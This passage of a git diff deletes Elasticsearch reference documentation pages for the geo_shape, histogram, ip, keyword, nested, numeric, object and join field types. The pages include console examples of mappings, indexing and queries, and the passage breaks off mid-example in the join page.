-===== http://geojson.org/geojson-spec.html#geometrycollection[Geometry Collection]
-
-The following is an example of a collection of geojson geometry objects:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type": "geometrycollection",
-    "geometries": [
-      {
-        "type": "point",
-        "coordinates": [100.0, 0.0]
-      },
-      {
-        "type": "linestring",
-        "coordinates": [ [101.0, 0.0], [102.0, 1.0] ]
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a collection of WKT geometry objects:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "GEOMETRYCOLLECTION (POINT (100.0 0.0), LINESTRING (101.0 0.0, 102.0 1.0))"
-}
---------------------------------------------------
-
-
-[discrete]
-===== Envelope
-
-Elasticsearch supports an `envelope` type, which consists of coordinates
-for upper left and lower right points of the shape to represent a
-bounding rectangle in the format `[[minLon, maxLat], [maxLon, minLat]]`:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "envelope",
-    "coordinates" : [ [100.0, 1.0], [101.0, 0.0] ]
-  }
-}
---------------------------------------------------
-
-The following is an example of an envelope using the WKT BBOX format:
-
-*NOTE:* WKT specification expects the following order: minLon, maxLon, maxLat, minLat.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "BBOX (100.0, 102.0, 2.0, 0.0)"
-}
---------------------------------------------------
-
-[discrete]
-===== Circle
-
-Elasticsearch supports a `circle` type, which consists of a center
-point with a radius. Note that this circle representation can only
-be indexed when using the `recursive` Prefix Tree strategy. For
-the default <<geoshape-indexing-approach>> circles should be approximated using
-a `POLYGON`.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "circle",
-    "coordinates" : [101.0, 1.0],
-    "radius" : "100m"
-  }
-}
---------------------------------------------------
-// TEST[skip:not supported in default]
-
-Note: The inner `radius` field is required. If not specified, then
-the units of the `radius` will default to `METERS`.
-
-*NOTE:* Neither GeoJSON or WKT support a point-radius circle type.
-
-[discrete]
-==== Sorting and Retrieving index Shapes
-
-Due to the complex input structure and index representation of shapes,
-it is not currently possible to sort shapes or retrieve their fields
-directly. The geo_shape value is only retrievable through the `_source`
-field.
diff --git a/docs/reference/mapping/types/histogram.asciidoc b/docs/reference/mapping/types/histogram.asciidoc
deleted file mode 100644
index e47ea875e1a..00000000000
--- a/docs/reference/mapping/types/histogram.asciidoc
+++ /dev/null
@@ -1,122 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[histogram]]
-=== Histogram field type
-++++
-<titleabbrev>Histogram</titleabbrev>
-++++
-
-A  field to store pre-aggregated numerical data representing a histogram.
-This data is defined using two paired arrays:
-
-* A `values` array of <<number, `double`>> numbers, representing the buckets for
-the histogram. These values must be provided in ascending order.
-* A corresponding `counts` array of <<number, `integer`>> numbers, representing how
-many values fall into each bucket. These numbers must be positive or zero.
-
-Because the elements in the `values` array correspond to the elements in the
-same position of the `count` array, these two arrays must have the same length.
-
-[IMPORTANT]
-========
-* A `histogram` field can only store a single pair of `values` and `count` arrays
-per document. Nested arrays are not supported.
-* `histogram` fields do not support sorting.
-========
-
-[[histogram-uses]]
-==== Uses
-
-`histogram` fields are primarily intended for use with aggregations. To make it
-more readily accessible for aggregations, `histogram` field data is stored as a
-binary <<doc-values,doc values>> and not indexed. Its size in bytes is at most
-`13 * numValues`, where `numValues` is the length of the provided arrays.
-
-Because the data is not indexed, you only can use `histogram` fields for the
-following aggregations and queries:
-
-* <<search-aggregations-metrics-min-aggregation-histogram-fields,min>> aggregation
-* <<search-aggregations-metrics-max-aggregation-histogram-fields,max>> aggregation
-* <<search-aggregations-metrics-sum-aggregation-histogram-fields,sum>> aggregation
-* <<search-aggregations-metrics-valuecount-aggregation-histogram-fields,value_count>> aggregation
-* <<search-aggregations-metrics-avg-aggregation-histogram-fields,avg>> aggregation
-* <<search-aggregations-metrics-percentile-aggregation,percentiles>> aggregation
-* <<search-aggregations-metrics-percentile-rank-aggregation,percentile ranks>> aggregation
-* <<search-aggregations-metrics-boxplot-aggregation,boxplot>> aggregation
-* <<search-aggregations-bucket-histogram-aggregation-histogram-fields,histogram>> aggregation
-* <<query-dsl-exists-query,exists>> query
-
-[[mapping-types-histogram-building-histogram]]
-==== Building a histogram
-
-When using a histogram as part of an aggregation, the accuracy of the results will depend on how the
-histogram was constructed. It is important to consider the percentiles aggregation mode that will be used
-to build it. Some possibilities include:
-
-- For the <<search-aggregations-metrics-percentile-aggregation, T-Digest>> mode, the `values` array represents
-the mean centroid positions and the `counts` array represents the number of values that are attributed to each
-centroid. If the algorithm has already started to approximate the percentiles, this inaccuracy is
-carried over in the histogram.
-
-- For the <<_hdr_histogram,High Dynamic Range (HDR)>> histogram mode, the `values` array represents fixed upper
-limits of each bucket interval, and the `counts` array represents the number of values that are attributed to each
-interval. This implementation maintains a fixed worse-case percentage error (specified as a number of significant digits),
-therefore the value used when generating the histogram would be the maximum accuracy you can achieve at aggregation time.
-
-The histogram field is "algorithm agnostic" and does not store data specific to either T-Digest or HDRHistogram. While this
-means the field can technically be aggregated with either algorithm, in practice the user should chose one algorithm and
-index data in that manner (e.g. centroids for T-Digest or intervals for HDRHistogram) to ensure best accuracy.
-
-[[histogram-ex]]
-==== Examples
-
-The following <<indices-create-index, create index>> API request creates a new index with two field mappings:
-
-* `my_histogram`, a `histogram` field used to store percentile data
-* `my_text`, a `keyword` field used to store a title for the histogram
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings" : {
-    "properties" : {
-      "my_histogram" : {
-        "type" : "histogram"
-      },
-      "my_text" : {
-        "type" : "keyword"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The following <<docs-index_,index>> API requests store pre-aggregated for
-two histograms: `histogram_1` and `histogram_2`.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "my_text" : "histogram_1",
-  "my_histogram" : {
-      "values" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [3, 7, 23, 12, 6] <2>
-   }
-}
-
-PUT my-index-000001/_doc/2
-{
-  "my_text" : "histogram_2",
-  "my_histogram" : {
-      "values" : [0.1, 0.25, 0.35, 0.4, 0.45, 0.5], <1>
-      "counts" : [8, 17, 8, 7, 6, 2] <2>
-   }
-}
---------------------------------------------------
-<1> Values for each bucket. Values in the array are treated as doubles and must be given in
-increasing order. For <<search-aggregations-metrics-percentile-aggregation-approximation, T-Digest>>
-histograms this value represents the mean value. In case of HDR histograms this represents the value iterated to.
-<2> Count for each bucket. Values in the arrays are treated as integers and must be positive or zero.
-Negative values will be rejected. The relation between a bucket and a count is given by the position in the array.
diff --git a/docs/reference/mapping/types/ip.asciidoc b/docs/reference/mapping/types/ip.asciidoc
deleted file mode 100644
index c8336cd816b..00000000000
--- a/docs/reference/mapping/types/ip.asciidoc
+++ /dev/null
@@ -1,127 +0,0 @@
-[[ip]]
-=== IP field type
-++++
-<titleabbrev>IP</titleabbrev>
-++++
-
-An `ip` field can index/store either {wikipedia}/IPv4[IPv4] or
-{wikipedia}/IPv6[IPv6] addresses.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "ip_addr": {
-        "type": "ip"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "ip_addr": "192.168.1.1"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "ip_addr": "192.168.0.0/16"
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-NOTE: You can also store ip ranges in a single field using an <<range,ip_range data type>>.
-
-[[ip-params]]
-==== Parameters for `ip` fields
-
-The following parameters are accepted by `ip` fields:
-
-[horizontal]
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-<<ignore-malformed,`ignore_malformed`>>::
-
-    If `true`, malformed IP addresses are ignored. If `false` (default), malformed
-    IP addresses throw an exception and reject the whole document.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) and `false`.
-
-<<null-value,`null_value`>>::
-
-    Accepts an IPv4 or IPv6 value which is substituted for any explicit `null` values.
-    Defaults to `null`, which means the field is treated as missing.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
-
-[[query-ip-fields]]
-==== Querying `ip` fields
-
-The most common way to query ip addresses is to use the
-{wikipedia}/Classless_Inter-Domain_Routing#CIDR_notation[CIDR]
-notation: `[ip_address]/[prefix_length]`. For instance:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "ip_addr": "192.168.0.0/16"
-    }
-  }
-}
---------------------------------------------------
-
-or
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "ip_addr": "2001:db8::/48"
-    }
-  }
-}
---------------------------------------------------
-
-Also beware that colons are special characters to the
-<<query-dsl-query-string-query,`query_string`>> query, so ipv6 addresses will
-need to be escaped. The easiest way to do so is to put quotes around the
-searched value:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "query_string" : {
-      "query": "ip_addr:\"2001:db8::/48\""
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/mapping/types/keyword.asciidoc b/docs/reference/mapping/types/keyword.asciidoc
deleted file mode 100644
index b97af789f3b..00000000000
--- a/docs/reference/mapping/types/keyword.asciidoc
+++ /dev/null
@@ -1,137 +0,0 @@
-[testenv="basic"]
-[[keyword]]
-=== Keyword type family
-++++
-<titleabbrev>Keyword</titleabbrev>
-++++
-
-The keyword family includes the following field types:
-
-* <<keyword-field-type,`keyword`>>, which is used for structured content such as IDs, email
-addresses, hostnames, status codes, zip codes, or tags. 
-* <<constant-keyword-field-type,`constant_keyword`>> for keyword fields that always contain
-the same value.
-* <<wildcard-field-type,`wildcard`>>, which optimizes log lines and similar keyword values
-for grep-like <<query-dsl-wildcard-query,wildcard queries>>.
-
-Keyword fields are often used in <<sort-search-results,sorting>>,
-<<search-aggregations,aggregations>>, and <<term-level-queries,term-level
-queries>>, such as <<query-dsl-term-query,`term`>>.
-
-TIP: Avoid using keyword fields for full-text search. Use the <<text,`text`>>
-field type instead.
-
-[discrete]
-[[keyword-field-type]]
-=== Keyword field type
-
-Below is an example of a mapping for a basic `keyword` field:
-
-[source,console]
---------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "tags": {
-        "type":  "keyword"
-      }
-    }
-  }
-}
---------------------------------
-
-[TIP]
-.Mapping numeric identifiers
-====
-include::numeric.asciidoc[tag=map-ids-as-keyword]
-====
-
-[discrete]
-[[keyword-params]]
-==== Parameters for basic keyword fields
-
-The following parameters are accepted by `keyword` fields:
-
-[horizontal]
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-<<eager-global-ordinals,`eager_global_ordinals`>>::
-
-    Should global ordinals be loaded eagerly on refresh? Accepts `true` or `false`
-    (default). Enabling this is a good idea on fields that are frequently used for
-    terms aggregations.
-
-<<multi-fields,`fields`>>::
-
-    Multi-fields allow the same string value to be indexed in multiple ways for
-    different purposes, such as one field for search and a multi-field for
-    sorting and aggregations.
-
-<<ignore-above,`ignore_above`>>::
-
-    Do not index any string longer than this value.  Defaults to `2147483647`
-    so that all values would be accepted. Please however note that default
-    dynamic mapping rules create a sub `keyword` field that overrides this
-    default by setting `ignore_above: 256`.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) or `false`.
-
-<<index-options,`index_options`>>::
-
-    What information should be stored in the index, for scoring purposes.
-    Defaults to `docs` but can also be set to `freqs` to take term frequency into account
-    when computing scores.
-
-<<norms,`norms`>>::
-
-    Whether field-length should be taken into account when scoring queries.
-    Accepts `true` or `false` (default).
-
-<<null-value,`null_value`>>::
-
-    Accepts a string value which is substituted for any explicit `null`
-    values.  Defaults to `null`, which means the field is treated as missing.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
-
-<<similarity,`similarity`>>::
-
-    Which scoring algorithm or _similarity_ should be used. Defaults
-    to `BM25`.
-
-<<normalizer,`normalizer`>>::
-
-    How to pre-process the keyword prior to indexing. Defaults to `null`,
-    meaning the keyword is kept as-is.
-
-`split_queries_on_whitespace`::
-
-    Whether <<full-text-queries,full text queries>> should split the input on whitespace
-    when building a query for this field.
-    Accepts `true` or `false` (default).
-
-<<mapping-field-meta,`meta`>>::
-
-    Metadata about the field.
-
-include::constant-keyword.asciidoc[]
-
-include::wildcard.asciidoc[]
-
diff --git a/docs/reference/mapping/types/nested.asciidoc b/docs/reference/mapping/types/nested.asciidoc
deleted file mode 100644
index 20057d9ccd7..00000000000
--- a/docs/reference/mapping/types/nested.asciidoc
+++ /dev/null
@@ -1,235 +0,0 @@
-[[nested]]
-=== Nested field type
-++++
-<titleabbrev>Nested</titleabbrev>
-++++
-
-The `nested` type is a specialised version of the <<object,`object`>> data type
-that allows arrays of objects to be indexed in a way that they can be queried
-independently of each other.
-
-TIP: When ingesting key-value pairs with a large, arbitrary set of keys, you might consider modeling each key-value pair as its own nested document with `key` and `value` fields. Instead, consider using the <<flattened,flattened>> data type, which maps an entire object as a single field and allows for simple searches over its contents.
-Nested documents and queries are typically expensive, so using the `flattened` data type for this use case is a better option.
-
-[[nested-arrays-flattening-objects]]
-==== How arrays of objects are flattened
-
-Elasticsearch has no concept of inner objects. Therefore, it flattens object
-hierarchies into a simple list of field names and values. For instance, consider the
-following document:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "group" : "fans",
-  "user" : [ <1>
-    {
-      "first" : "John",
-      "last" :  "Smith"
-    },
-    {
-      "first" : "Alice",
-      "last" :  "White"
-    }
-  ]
-}
---------------------------------------------------
-
-<1> The `user` field is dynamically added as a field of type `object`.
-
-The previous document would be transformed internally into a document that looks more like this:
-
-[source,js]
---------------------------------------------------
-{
-  "group" :        "fans",
-  "user.first" : [ "alice", "john" ],
-  "user.last" :  [ "smith", "white" ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The `user.first` and `user.last` fields are flattened into multi-value fields,
-and the association between `alice` and `white` is lost.  This document would
-incorrectly match a query for `alice AND smith`:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "bool": {
-      "must": [
-        { "match": { "user.first": "Alice" }},
-        { "match": { "user.last":  "Smith" }}
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[[nested-fields-array-objects]]
-==== Using `nested` fields for arrays of objects
-
-If you need to index arrays of objects and to maintain the independence of
-each object in the array, use the `nested` data type instead of the
-<<object,`object`>> data type.
-
-Internally, nested objects index each object in
-the array as a separate hidden document, meaning that each nested object can be
-queried independently of the others with the <<query-dsl-nested-query,`nested` query>>:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "user": {
-        "type": "nested" <1>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "group" : "fans",
-  "user" : [
-    {
-      "first" : "John",
-      "last" :  "Smith"
-    },
-    {
-      "first" : "Alice",
-      "last" :  "White"
-    }
-  ]
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "nested": {
-      "path": "user",
-      "query": {
-        "bool": {
-          "must": [
-            { "match": { "user.first": "Alice" }},
-            { "match": { "user.last":  "Smith" }} <2>
-          ]
-        }
-      }
-    }
-  }
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "nested": {
-      "path": "user",
-      "query": {
-        "bool": {
-          "must": [
-            { "match": { "user.first": "Alice" }},
-            { "match": { "user.last":  "White" }} <3>
-          ]
-        }
-      },
-      "inner_hits": { <4>
-        "highlight": {
-          "fields": {
-            "user.first": {}
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `user` field is mapped as type `nested` instead of type `object`.
-<2> This query doesn't match because `Alice` and `Smith` are not in the same nested object.
-<3> This query matches because `Alice` and `White` are in the same nested object.
-<4> `inner_hits` allow us to highlight the matching nested documents.
-
-
-[[nested-accessing-documents]]
-==== Interacting with `nested` documents
-Nested documents can be:
-
-* queried with the <<query-dsl-nested-query,`nested`>> query.
-* analyzed with the <<search-aggregations-bucket-nested-aggregation,`nested`>>
-  and <<search-aggregations-bucket-reverse-nested-aggregation, `reverse_nested`>>
-  aggregations.
-* sorted with <<nested-sorting,nested sorting>>.
-* retrieved and highlighted with <<nested-inner-hits,nested inner hits>>.
-
-[IMPORTANT]
-=============================================
-
-Because nested documents are indexed as separate documents, they can only be
-accessed  within the scope of the `nested` query, the
-`nested`/`reverse_nested` aggregations, or <<nested-inner-hits,nested inner hits>>.
-
-For instance, if a string field within a nested document has
-<<index-options,`index_options`>> set to `offsets` to allow use of the postings
-during the highlighting, these offsets will not be available during the main highlighting
-phase.  Instead, highlighting needs to be performed via
-<<nested-inner-hits,nested inner hits>>. The same consideration applies when loading
-fields during a search through <<docvalue-fields,
-`docvalue_fields`>> or <<stored-fields, `stored_fields`>>.
-
-=============================================
-
-[[nested-params]]
-==== Parameters for `nested` fields
-
-The following parameters are accepted by `nested` fields:
-
-<<dynamic,`dynamic`>>::
-(Optional, string)
-Whether or not new `properties` should be added dynamically to an existing
-nested object.  Accepts `true` (default), `false` and `strict`.
-
-<<properties,`properties`>>::
-(Optional, object)
-The fields within the nested object, which can be of any
-<<mapping-types,data type>>, including `nested`. New properties
-may be added to an existing nested object.
-
-[[nested-include-in-parent-parm]]
-`include_in_parent`::
-(Optional, Boolean)
-If `true`, all fields in the nested object are also added to the parent document
-as standard (flat) fields. Defaults to `false`.
-
-[[nested-include-in-root-parm]]
-`include_in_root`::
-(Optional, Boolean)
-If `true`, all fields in the nested object are also added to the root
-document as standard (flat) fields. Defaults to `false`.
-
-[discrete]
-=== Limits on `nested` mappings and objects
-
-As described earlier, each nested object is indexed as a separate Lucene document.
-Continuing with the previous example, if we indexed a single document containing 100 `user` objects,
-then 101 Lucene documents would be created: one for the parent document, and one for each
-nested object. Because of the expense associated with `nested` mappings, Elasticsearch puts
-settings in place to guard against performance problems:
-
-include::{es-repo-dir}/mapping.asciidoc[tag=nested-fields-limit]
-
-In the previous example, the `user` mapping would count as only 1 towards this limit.
-
-include::{es-repo-dir}/mapping.asciidoc[tag=nested-objects-limit]
-
-To illustrate how this setting works, consider adding another `nested` type called `comments`
-to the previous example mapping. For each document, the combined number of `user` and `comment`
-objects it contains must be below the limit.
-
-See <<mapping-limit-settings>> regarding additional settings for preventing mappings explosion.
diff --git a/docs/reference/mapping/types/numeric.asciidoc b/docs/reference/mapping/types/numeric.asciidoc
deleted file mode 100644
index d6f4be0a8dc..00000000000
--- a/docs/reference/mapping/types/numeric.asciidoc
+++ /dev/null
@@ -1,172 +0,0 @@
-[[number]]
-=== Numeric field types
-++++
-<titleabbrev>Numeric</titleabbrev>
-++++
-
-The following numeric types are supported:
-
-[horizontal]
-`long`::         A signed 64-bit integer with a minimum value of +-2^63^+ and a maximum value of +2^63^-1+.
-`integer`::      A signed 32-bit integer with a minimum value of +-2^31^+ and a maximum value of +2^31^-1+.
-`short`::        A signed 16-bit integer with a minimum value of +-32,768+ and a maximum value of +32,767+.
-`byte`::         A signed 8-bit integer with a minimum value of +-128+ and a maximum value of +127+.
-`double`::       A double-precision 64-bit IEEE 754 floating point number, restricted to finite values.
-`float`::        A single-precision 32-bit IEEE 754 floating point number, restricted to finite values.
-`half_float`::   A half-precision 16-bit IEEE 754 floating point number, restricted to finite values.
-`scaled_float`:: A floating point number that is backed by a `long`, scaled by a fixed `double` scaling factor.
-`unsigned_long`:: An unsigned 64-bit integer with a minimum value of 0 and a maximum value of +2^64^-1+.
-
-Below is an example of configuring a mapping with numeric fields:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "number_of_bytes": {
-        "type": "integer"
-      },
-      "time_in_seconds": {
-        "type": "float"
-      },
-      "price": {
-        "type": "scaled_float",
-        "scaling_factor": 100
-      }
-    }
-  }
-}
---------------------------------------------------
-
-NOTE: The `double`, `float` and `half_float` types consider that `-0.0` and
-`+0.0` are different values. As a consequence, doing a `term` query on
-`-0.0` will not match `+0.0` and vice-versa. Same is true for range queries:
-if the upper bound is `-0.0` then `+0.0` will not match, and if the lower
-bound is `+0.0` then `-0.0` will not match.
-
-==== Which type should I use?
-
-As far as integer types (`byte`, `short`, `integer` and `long`) are concerned,
-you should pick the smallest type which is enough for your use-case. This will
-help indexing and searching be more efficient. Note however that storage is
-optimized based on the actual values that are stored, so picking one type over
-another one will have no impact on storage requirements.
-
-For floating-point types, it is often more efficient to store floating-point
-data into an integer using a scaling factor, which is what the `scaled_float`
-type does under the hood. For instance, a `price` field could be stored in a
-`scaled_float` with a `scaling_factor` of +100+. All APIs would work as if
-the field was stored as a double, but under the hood Elasticsearch would be
-working with the number of cents, +price*100+, which is an integer. This is
-mostly helpful to save disk space since integers are way easier to compress
-than floating points. `scaled_float` is also fine to use in order to trade
-accuracy for disk space. For instance imagine that you are tracking cpu
-utilization as a number between +0+ and +1+. It usually does not matter much
-whether cpu utilization is +12.7%+ or +13%+, so you could use a `scaled_float`
-with a `scaling_factor` of +100+ in order to round cpu utilization to the
-closest percent in order to save space.
-
-If `scaled_float` is not a good fit, then you should pick the smallest type
-that is enough for the use-case among the floating-point types: `double`,
-`float` and `half_float`. Here is a table that compares these types in order
-to help make a decision.
-
-[cols="<,<,<,<",options="header",]
-|=======================================================================
-|Type |Minimum value |Maximum value |Significant bits / digits
-|`double`|+2^-1074^+ |+(2-2^-52^)·2^1023^+ |+53+ / +15.95+
-|`float`|+2^-149^+ |+(2-2^-23^)·2^127^+ |+24+ / +7.22+
-|`half_float`|+2^-24^+ |+65504+ |+11+ / +3.31+
-|=======================================================================
-
-[TIP]
-.Mapping numeric identifiers
-====
-// tag::map-ids-as-keyword[]
-Not all numeric data should be mapped as a <<number,numeric>> field data type.
-{es} optimizes numeric fields, such as `integer` or `long`, for
-<<query-dsl-range-query,`range`>> queries. However, <<keyword,`keyword`>> fields
-are better for <<query-dsl-term-query,`term`>> and other
-<<term-level-queries,term-level>> queries.
-
-Identifiers, such as an ISBN or a product ID, are rarely used in `range`
-queries. However, they are often retrieved using term-level queries.
-
-Consider mapping a numeric identifier as a `keyword` if:
-
-* You don't plan to search for the identifier data using 
-  <<query-dsl-range-query,`range`>> queries.
-* Fast retrieval is important. `term` query searches on `keyword` fields are
-  often faster than `term` searches on numeric fields.
-
-If you're unsure which to use, you can use a <<multi-fields,multi-field>> to map
-the data as both a `keyword` _and_ a numeric data type.
-// end::map-ids-as-keyword[]
-====
-
-[[number-params]]
-==== Parameters for numeric fields
-
-The following parameters are accepted by numeric types:
-
-[horizontal]
-
-<<coerce,`coerce`>>::
-
-    Try to convert strings to numbers and truncate fractions for integers.
-    Accepts `true` (default) and `false`. Not applicable for `unsigned_long`.
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-<<ignore-malformed,`ignore_malformed`>>::
-
-    If `true`, malformed numbers are ignored. If `false` (default), malformed
-    numbers throw an exception and reject the whole document.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) and `false`.
-
-<<null-value,`null_value`>>::
-
-    Accepts a numeric value of the same `type` as the field which is
-    substituted for any explicit `null` values.  Defaults to `null`, which
-    means the field is treated as missing.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
-
-<<mapping-field-meta,`meta`>>::
-
-    Metadata about the field.
-
-[[scaled-float-params]]
-==== Parameters for `scaled_float`
-
-`scaled_float` accepts an additional parameter:
-
-[horizontal]
-
-`scaling_factor`::
-
-    The scaling factor to use when encoding values. Values will be multiplied
-    by this factor at index time and rounded to the closest long value. For
-    instance, a `scaled_float` with a `scaling_factor` of +10+ would internally
-    store +2.34+ as +23+ and all search-time operations (queries, aggregations,
-    sorting) will behave as if the document had a value of +2.3+. High values
-    of `scaling_factor` improve accuracy but also increase space requirements.
-    This parameter is required.
diff --git a/docs/reference/mapping/types/object.asciidoc b/docs/reference/mapping/types/object.asciidoc
deleted file mode 100644
index 0a68bb3b2e7..00000000000
--- a/docs/reference/mapping/types/object.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[[object]]
-=== Object field type
-++++
-<titleabbrev>Object</titleabbrev>
-++++
-
-JSON documents are hierarchical in nature: the document may contain inner
-objects which, in turn, may contain inner objects themselves:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{ <1>
-  "region": "US",
-  "manager": { <2>
-    "age":     30,
-    "name": { <3>
-      "first": "John",
-      "last":  "Smith"
-    }
-  }
-}
---------------------------------------------------
-
-<1> The outer document is also a JSON object.
-<2> It contains an inner object called `manager`.
-<3> Which in turn contains an inner object called `name`.
-
-Internally, this document is indexed as a simple, flat list of key-value
-pairs, something like this:
-
-[source,js]
---------------------------------------------------
-{
-  "region":             "US",
-  "manager.age":        30,
-  "manager.name.first": "John",
-  "manager.name.last":  "Smith"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-An explicit mapping for the above document could look like this:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": { <1>
-      "region": {
-        "type": "keyword"
-      },
-      "manager": { <2>
-        "properties": {
-          "age":  { "type": "integer" },
-          "name": { <3>
-            "properties": {
-              "first": { "type": "text" },
-              "last":  { "type": "text" }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Properties in the top-level mappings definition.
-<2> The `manager` field is an inner `object` field.
-<3> The `manager.name` field is an inner `object` field within the `manager` field.
-
-You are not required to set the field `type` to `object` explicitly, as this is the default value.
-
-[[object-params]]
-==== Parameters for `object` fields
-
-The following parameters are accepted by `object` fields:
-
-[horizontal]
-<<dynamic,`dynamic`>>::
-
-    Whether or not new `properties` should be added dynamically
-    to an existing object.  Accepts `true` (default), `false`
-    and `strict`.
-
-<<enabled,`enabled`>>::
-
-    Whether the JSON value given for the object field should be
-    parsed and indexed (`true`, default) or completely ignored (`false`).
-
-<<properties,`properties`>>::
-
-    The fields within the object, which can be of any
-    <<mapping-types,data type>>, including `object`. New properties
-    may be added to an existing object.
-
-IMPORTANT: If you need to index arrays of objects instead of single objects,
-read <<nested>> first.
diff --git a/docs/reference/mapping/types/parent-join.asciidoc b/docs/reference/mapping/types/parent-join.asciidoc
deleted file mode 100644
index 4960bcae588..00000000000
--- a/docs/reference/mapping/types/parent-join.asciidoc
+++ /dev/null
@@ -1,439 +0,0 @@
-[[parent-join]]
-=== Join field type
-++++
-<titleabbrev>Join</titleabbrev>
-++++
-
-The `join` data type is a special field that creates
-parent/child relation within documents of the same index.
-The `relations` section defines a set of possible relations within the documents,
-each relation being a parent name and a child name.
-A parent/child relation can be defined as follows:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_id": {
-        "type": "keyword"
-      },
-      "my_join_field": { <1>
-        "type": "join",
-        "relations": {
-          "question": "answer" <2>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The name for the field
-<2> Defines a single relation where `question` is parent of `answer`.
-
-To index a document with a join, the name of the relation and the optional parent
-of the document must be provided in the `source`.
-For instance the following example creates two `parent` documents in the `question` context:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1?refresh
-{
-  "my_id": "1",
-  "text": "This is a question",
-  "my_join_field": {
-    "name": "question" <1>
-  }
-}
-
-PUT my-index-000001/_doc/2?refresh
-{
-  "my_id": "2",
-  "text": "This is another question",
-  "my_join_field": {
-    "name": "question"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> This document is a `question` document.
-
-When indexing parent documents, you can choose to specify just the name of the relation
-as a shortcut instead of encapsulating it in the normal object notation:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1?refresh
-{
-  "my_id": "1",
-  "text": "This is a question",
-  "my_join_field": "question" <1>
-}
-
-PUT my-index-000001/_doc/2?refresh
-{
-  "my_id": "2",
-  "text": "This is another question",
-  "my_join_field": "question"
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> Simpler notation for a parent document just uses the relation name.
-
-When indexing a child, the name of the relation as well as the parent id of the document
-must be added in the `_source`.
-
-WARNING: It is required to index the lineage of a parent in the same shard so you must
-always route child documents using their greater parent id.
-
-For instance the following example shows how to index two `child` documents:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/3?routing=1&refresh <1>
-{
-  "my_id": "3",
-  "text": "This is an answer",
-  "my_join_field": {
-    "name": "answer", <2>
-    "parent": "1" <3>
-  }
-}
-
-PUT my-index-000001/_doc/4?routing=1&refresh
-{
